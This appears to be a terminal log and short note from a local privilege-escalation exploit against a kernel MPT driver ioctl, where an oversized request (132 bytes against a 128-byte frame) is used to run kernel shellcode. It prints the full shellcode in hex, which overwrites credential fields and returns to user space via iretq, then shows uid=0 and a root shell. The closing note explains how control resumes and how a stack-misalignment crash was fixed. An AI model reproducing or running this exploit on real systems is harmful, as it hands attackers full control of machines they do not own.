+ su operator -c "/root/rig/trigger probe"    (RequestSize=132 > reqframesz=128)
mode=probe cs=0x2b ss=0x23 off: ct=8 tp=168 pu=16 uid=64 ruid=160 svuid=164 grp=72 rgid=168 svgid=172
shellcode: 132 bytes at 0x10000000
65488b042500000000488bb808000000
488bbfa8000000488bbf10000000c787
4000000000000000c787a00000000000
0000c787a400000000000000c7874800
000000000000c787a800000000000000
c787ac000000000000000f01f8682300
000048b8007f00200000000050680202
0000682b00000048b843104000000000
005048cf
open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=132
DF1326_CONTINUATION: getuid=0 getgid=0 (pid 904)
DF1326_ROOT: uid=0 achieved, launching root shell
uid=0(root) gid=0(wheel) groups=0(wheel)
DF1326_SHELL uid=0
rc=0

Note: the ioctl syscall NEVER returns on the vulnerable kernel in probe
mode ("ioctl returned rc=..." is absent); control re-emerges in
rig_continuation() via the shellcode's iretq, with getuid()==0.
Kernel side for the same run (dmesg): "pid 904 (trigger), uid 0:
exited on signal 10" on the one run where the continuation stack was
misaligned (fixed later by landing at rsp%16==8); the aligned runs
print the markers and exec the root shell cleanly.